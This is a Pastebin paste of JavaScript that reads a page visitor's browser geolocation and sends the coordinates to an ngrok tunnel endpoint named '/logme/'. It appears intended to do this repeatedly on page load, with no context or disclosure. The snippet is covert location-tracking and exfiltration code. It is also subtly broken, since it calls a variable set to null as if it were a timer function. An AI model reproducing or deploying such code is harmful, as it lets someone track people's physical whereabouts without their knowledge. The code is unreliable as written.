SHARE
TWEET

Untitled

a guest Aug 12th, 2017 74 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
  2. <script type='text/javascript'>
  3. function httpGet(theUrl,callback)
  4. {
  5.     $.ajax({
  6.             url : theUrl,
  7.             async : false,
  8.             success : callback
  9.         })
  10. }
  11.  
  12. function autoUpdate() {
  13.   navigator.geolocation.getCurrentPosition(function(position) {
  14.     coords = position.coords.latitude + "," + position.coords.longitude
  15.     url = "http://50f8bb3f.ngrok.io/logme/" + coords
  16.     httpGet(url,function (response) {
  17.             console.log(response)
  18.         })
  19.     })
  20. }
  21. var autoUpdateInterval = null
  22. $(document).ready(function(){
  23.   autoUpdateInterval(autoUpdate, 2000)
  24. })
  25. </script>
RAW Paste Data
Top